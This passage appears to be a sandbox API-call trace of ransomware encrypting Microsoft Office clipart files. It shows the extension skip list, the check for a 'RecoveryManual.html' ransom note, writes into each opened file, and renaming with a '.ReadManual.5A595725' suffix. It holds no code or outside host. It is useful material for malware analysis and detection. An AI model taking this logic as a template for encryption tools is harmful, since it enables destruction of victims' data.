hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x603a86d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1b3a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CMNTY_01.MID", cAlternateFileName="")) returned 1 [0261.057] lstrcpyW (in: lpString1=0x6ab90a, lpString2="CMNTY_01.MID" | out: lpString1="CMNTY_01.MID") returned="CMNTY_01.MID" [0261.057] lstrcmpiW (lpString1="CMNTY_01.MID", lpString2="RecoveryManual.html") returned -1 [0261.057] StrStrIW (lpFirst="CMNTY_01.MID", lpSrch=".ReadManual.5A595725") returned 0x0 [0261.057] StrCmpIW (psz1="MID", psz2="exe") returned 1 [0261.057] StrCmpIW (psz1="MID", psz2="dll") returned 1 [0261.057] StrCmpIW (psz1="MID", psz2="sys") returned -1 [0261.057] StrCmpIW (psz1="MID", psz2="msi") returned -1 [0261.057] StrCmpIW (psz1="MID", psz2="mui") returned -1 [0261.057] StrCmpIW (psz1="MID", psz2="inf") returned 1 [0261.057] StrCmpIW (psz1="MID", psz2="cat") returned 1 [0261.057] StrCmpIW (psz1="MID", psz2="bat") returned 1 [0261.057] StrCmpIW (psz1="MID", psz2="cmd") returned 1 [0261.057] StrCmpIW (psz1="MID", psz2="ps1") returned -1 [0261.057] StrCmpIW (psz1="MID", psz2="vbs") returned -1 [0261.057] StrCmpIW (psz1="MID", psz2="ttf") returned -1 [0261.057] StrCmpIW (psz1="MID", psz2="fon") returned 1 [0261.057] StrCmpIW (psz1="MID", psz2="lnk") returned 1 [0261.057] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID" [0261.057] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID.ReadManual.5A595725" [0261.057] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID.ReadManual.5A595725") returned 87 [0261.057] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38172626899) returned 1 [0261.058] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cmnty_01.mid")) returned 0x20 [0261.058] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cmnty_01.mid"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0261.058] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=6970) returned 1 [0261.058] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1b3a, lpName=0x0) returned 0x184 [0261.058] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0261.059] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.059] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0261.060] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0261.060] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1b3a) returned 0x2f0000 [0261.060] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0261.061] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38172929291) returned 1 [0261.061] CloseHandle (hObject=0x184) returned 1 [0261.061] SetSecurityInfo () returned 0x57 [0261.061] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0261.061] CloseHandle (hObject=0x194) returned 1 [0261.061] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6849b000, ftCreationTime.dwHighDateTime=0x1bd0318, ftLastAccessTime.dwLowDateTime=0x51d0f390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6849b000, ftLastWriteTime.dwHighDateTime=0x1bd0318, nFileSizeHigh=0x0, nFileSizeLow=0x1496, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CRANE.WMF", cAlternateFileName="")) returned 1 [0261.061] lstrcpyW (in: lpString1=0x6ab90a, lpString2="CRANE.WMF" | out: lpString1="CRANE.WMF") returned="CRANE.WMF" [0261.061] lstrcmpiW (lpString1="CRANE.WMF", lpString2="RecoveryManual.html") returned -1 [0261.061] StrStrIW (lpFirst="CRANE.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0261.061] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0261.061] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0261.061] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0261.062] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0261.062] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0261.062] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0261.062] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0261.062] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0261.062] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0261.062] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0261.062] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0261.062] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0261.062] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0261.062] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0261.062] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF" [0261.062] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF.ReadManual.5A595725" [0261.062] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF.ReadManual.5A595725") returned 84 [0261.062] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38173068432) returned 1 [0261.062] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\crane.wmf")) returned 0x20 [0261.063] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\crane.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0261.063] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=5270) returned 1 [0261.063] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1496, lpName=0x0) returned 0x184 [0261.063] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xb8) returned 1 [0261.064] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.064] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0261.065] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0261.066] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1496) returned 0x2f0000 [0261.066] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0261.066] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38173467697) returned 1 [0261.066] CloseHandle (hObject=0x184) returned 1 [0261.066] SetSecurityInfo () returned 0x57 [0261.066] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0261.066] CloseHandle (hObject=0x194) returned 1 [0261.066] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ce30000, ftCreationTime.dwHighDateTime=0x1bd78be, ftLastAccessTime.dwLowDateTime=0x60609cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ce30000, ftLastWriteTime.dwHighDateTime=0x1bd78be, nFileSizeHigh=0x0, nFileSizeLow=0xc18a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CRANINST.WMF", cAlternateFileName="")) returned 1 [0261.066] lstrcpyW (in: lpString1=0x6ab90a, lpString2="CRANINST.WMF" | out: lpString1="CRANINST.WMF") returned="CRANINST.WMF" [0261.066] lstrcmpiW (lpString1="CRANINST.WMF", lpString2="RecoveryManual.html") returned -1 [0261.066] StrStrIW (lpFirst="CRANINST.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0261.066] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0261.066] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0261.066] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0261.066] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0261.067] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0261.067] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0261.067] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0261.067] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0261.067] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0261.067] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0261.067] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0261.067] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0261.067] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0261.067] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0261.067] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF" [0261.067] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF.ReadManual.5A595725" [0261.067] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF.ReadManual.5A595725") returned 87 [0261.067] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38173564707) returned 1 [0261.067] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\craninst.wmf")) returned 0x20 [0261.070] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\craninst.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0261.070] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=49546) returned 1 [0261.070] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc18a, lpName=0x0) returned 0x184 [0261.070] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0261.071] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.071] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0261.073] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0261.073] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc18a) returned 0x2f0000 [0261.074] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0261.074] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38174314948) returned 1 [0261.074] CloseHandle (hObject=0x184) returned 1 [0261.074] SetSecurityInfo () returned 0x57 [0261.075] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0261.075] CloseHandle (hObject=0x194) returned 1 [0261.080] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6849b000, ftCreationTime.dwHighDateTime=0x1bd0318, ftLastAccessTime.dwLowDateTime=0x51d354f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6849b000, ftLastWriteTime.dwHighDateTime=0x1bd0318, nFileSizeHigh=0x0, nFileSizeLow=0xb96, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CUP.WMF", cAlternateFileName="")) returned 1 [0261.080] lstrcpyW (in: lpString1=0x6ab90a, lpString2="CUP.WMF" | out: lpString1="CUP.WMF") returned="CUP.WMF" [0261.080] lstrcmpiW (lpString1="CUP.WMF", lpString2="RecoveryManual.html") returned -1 [0261.080] StrStrIW (lpFirst="CUP.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0261.080] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0261.081] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0261.081] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0261.081] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0261.081] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0261.081] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0261.081] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0261.081] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0261.081] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0261.081] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0261.081] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0261.081] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0261.081] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0261.081] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0261.081] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF" [0261.081] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF.ReadManual.5A595725" [0261.081] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF.ReadManual.5A595725") returned 82 [0261.081] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38174996991) returned 1 [0261.081] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cup.wmf")) returned 0x20 [0261.082] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cup.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0261.082] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=2966) returned 1 [0261.083] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb96, lpName=0x0) returned 0x184 [0261.083] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xb4) returned 1 [0261.083] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.083] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0261.085] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0261.085] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xb96) returned 0x2f0000 [0261.085] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0261.085] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38175417054) returned 1 [0261.085] CloseHandle (hObject=0x184) returned 1 [0261.085] SetSecurityInfo () returned 0x57 [0261.086] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0261.086] CloseHandle (hObject=0x194) returned 1 [0261.086] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ce30000, ftCreationTime.dwHighDateTime=0x1bd78be, ftLastAccessTime.dwLowDateTime=0x606ee510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ce30000, ftLastWriteTime.dwHighDateTime=0x1bd78be, nFileSizeHigh=0x0, nFileSizeLow=0x2856, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CUPINST.WMF", cAlternateFileName="")) returned 1 [0261.086] lstrcpyW (in: lpString1=0x6ab90a, lpString2="CUPINST.WMF" | out: lpString1="CUPINST.WMF") returned="CUPINST.WMF" [0261.086] lstrcmpiW (lpString1="CUPINST.WMF", lpString2="RecoveryManual.html") returned -1 [0261.086] StrStrIW (lpFirst="CUPINST.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0261.086] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0261.086] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0261.086] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0261.086] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0261.086] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0261.086] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0261.086] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0261.086] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0261.086] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0261.086] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0261.086] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0261.086] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0261.086] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0261.086] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0261.086] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF" [0261.086] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF.ReadManual.5A595725" [0261.086] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF.ReadManual.5A595725") returned 86 [0261.086] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38175521978) returned 1 [0261.087] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cupinst.wmf")) returned 0x20 [0261.088] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cupinst.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0261.088] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=10326) returned 1 [0261.088] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2856, lpName=0x0) returned 0x184 [0261.088] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbc) returned 1 [0261.089] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.089] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0261.134] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0261.135] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2856) returned 0x2f0000 [0261.135] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0261.135] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38180366377) returned 1 [0261.135] CloseHandle (hObject=0x184) returned 1 [0261.135] SetSecurityInfo () returned 0x57 [0261.135] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0261.135] CloseHandle (hObject=0x194) returned 1 [0261.135] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x606ee510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7992, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DD00117_.WMF", cAlternateFileName="")) returned 1 [0261.135] lstrcpyW (in: lpString1=0x6ab90a, lpString2="DD00117_.WMF" | out: lpString1="DD00117_.WMF") returned="DD00117_.WMF" [0261.135] lstrcmpiW (lpString1="DD00117_.WMF", lpString2="RecoveryManual.html") returned -1 [0261.135] StrStrIW (lpFirst="DD00117_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0261.135] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0261.135] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0261.135] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0261.136] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0261.136] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0261.136] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0261.136] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0261.136] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0261.136] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0261.136] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0261.136] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0261.136] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0261.136] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0261.136] StrCmpIW (psz1="WMF", psz2="lnk") returned 